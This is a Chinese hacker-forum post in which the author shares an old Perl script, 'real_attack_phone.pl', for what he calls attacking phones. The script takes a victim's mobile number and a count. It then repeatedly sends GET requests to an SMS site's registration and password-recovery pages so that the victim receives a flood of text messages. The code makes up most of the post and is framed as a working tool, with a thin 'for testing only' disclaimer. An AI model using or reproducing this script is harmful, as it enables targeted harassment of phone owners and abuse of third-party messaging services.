这个是我很久以前原创的东东，是以前在www.cnhack.org做斑竹兼站务的时候的作品,也就是那个让网易发现sms系统漏洞的东东了,原理很简单,不过效果很好[我拿朋友和一个网吧的mm做实验--取得同意之后哦--那个mm的手机一直收到垃圾短消息,把我骂个狗血淋头~~:-(~]
这回s8s8上的龙衅问我要代码,加上各位元老对我的信任让我当斑竹,呵呵,找老找去终于找到以前比较满意的代码,就发给大家看看吧呵呵^-^
(注意:这个程序中的短消息服务器可能已经把漏洞补上了,我贴这个代码只是给大家学习原理,如果你想问我怎么炸手机,Sorry,Do it yourself!^-^)
--------------------------------------------------------------------------------
#!/usr/bin/perl
#Name:real_attack_phone.pl
#Write by:TNT.
#Email:cnhackTNT@hackermail.com
use strict;
use IO::Socket;

system("cls");

print "######################################################\n";
print "# 手机攻击器 #\n";
print "# 经过本人一些修改，已经能够攻击移动和联通的手机了。#\n";
print "# [提示:神州行用户不包括在内] #\n";
print "# 注意:本程序只为测试之用!不能用于非法途径,否则后果 #\n";
print "# 自负! #\n";
print "# 本程序由TNT.制作,请不要随意更改! #\n";
print "# 欢迎访问http://www.cnhack.org #\n";
print "######################################################\n";

my $host;
my $port;
my $number;
my $url;
my $after;
my $url_first;
my $url_second;
my $n_first;
my $n_second;
my $stopnumber;

$url_first="/sms/getpw.php3?mycode=";
$url_second="&getpw_submit=2&answ=123";
$host="www.smschina.com";
$port="80";

&index;
&attrck1;
&attrck2;
&exit;

sub index {
&inputnumber;
&tocatch;
sleep 2;
};

sub inputnumber {
print "\n请输入你要攻击的手机号码(请确认输入正确！）: \a";
$number=<STDIN>;
chomp $number;
if ($number eq ""){print "\n请输入好攻击的手机号码";
&exit;};
print "\n请输入你要攻击的次数[默认10次]:";
$stopnumber=<STDIN>;
chomp $stopnumber;
if ($stopnumber eq ""){$stopnumber=10;
print "\n默认进行10次攻击!\a";};
};

sub tocatch {
print "\n正在准备进入攻击状态......";
&connect;
};

sub attrck1 {
my $status = "ok";
print "\n正在攻击....";
$url =$url_first.$number.$url_second;
print $number;
&connect;
if ($status eq "ok"){
print " 首次攻击成功![手下留情呀!]\a";
$n_first=1;
};
};

sub attrck2 {
$n_second=++$n_first;
my $status = "ok";
print "\n正在攻击....";
$after= "/sms/reg2.php3?mycode=".$number."&mtype=E&code_submit=1&ques=123&answ=123&code_FORM_submit=++%CC%E1%BD%BB++";
$url =$after;
&connect;
print $number;
$url =$url_first.$number.$url_second;
&connect;
if ($status eq "ok"){
print " 攻击次数:[$n_second] |按 Ctrl+C 退出攻击!\a";
};
if ($n_second == $stopnumber){
my $n_number;
$n_number=$stopnumber;
print "\n你已经发了 $n_number 条短信息,手下留情吧!!\a";
&exit;}else{&attrck2;}
};

sub connect {
my $connection = IO::Socket::INET->new (Proto => "tcp",PeerAddr => "$host",PeerPort => "$port",
) or die "\n 对不起,不能进行攻击！请确认你的网络连通.\a\n";
$connection -> autoflush(1);
print $connection "GET $url HTTP/1.0";
close $connection;
};

sub exit{
print "\n 由于网络延迟或者其他原因,可能攻击效果会有延迟或者攻击次数稍少的情况,不过不要紧,一点点而已!";
print "\n\n谢谢使用.";
print "\n本程序由TNT.制作!欢迎访问http://www.cnhack.org\n";
print "\n本程序由TNT.制作!欢迎访问http://www.cntnsa.com\n";
print "\n本程序由TNT.制作!欢迎访问http://www.vertarmy.org\n";
print "\n本程序由TNT.制作!欢迎访问http://www.s8s8.net\n";
exit;
};

主目录 分目录